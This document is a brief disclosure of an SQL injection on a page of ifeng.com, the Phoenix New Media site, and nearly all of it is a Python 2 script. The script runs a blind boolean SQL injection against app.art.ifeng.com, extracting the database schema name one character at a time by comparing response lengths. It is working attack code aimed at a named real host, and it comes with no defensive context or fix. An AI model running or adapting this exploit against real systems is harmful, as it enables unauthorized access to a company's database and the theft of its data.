凤凰网某处SQL注入

#!/usr/bin/env python
 #-*- coding: utf-8 -*-
 
 
 import time
 import string
 import binascii
 import requests
 
 
 res = ''
 character = "%." + string.digits + "@" + "_" + string.ascii_lowercase
 
 headers = {
  'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.69 Safari/537.36',
  'Referer': 'http://app.art.ifeng.com/tags.php?tag=%E6%A3%AE%E6%9E%97',
  'Accept': 'text/javascript, application/javascript, */*',
  'Connection': 'keep-alive',
  }
 
 
 for i in range(1, 21):
  for p in character:
   url = "http://app.art.ifeng.com/?app=system&controller=fall&tag=%25E6%25A3%25AE%25E6%259E%2597%27oR(position('{}' in schema())={})and'1'like'1&action=tagspage&jsoncallback=jsonp1460102650253&page=2&_=1460102652833&size=50".format(p, i)
   req = requests.get(url, headers=headers)
   print req.url + ' --- ',
   print len(req.text)
   if len(req.text) < 100:
    res += p
    print "/n[Result]: " + res + "/n"
    break
 
 print "/n/n[Finish]: " + res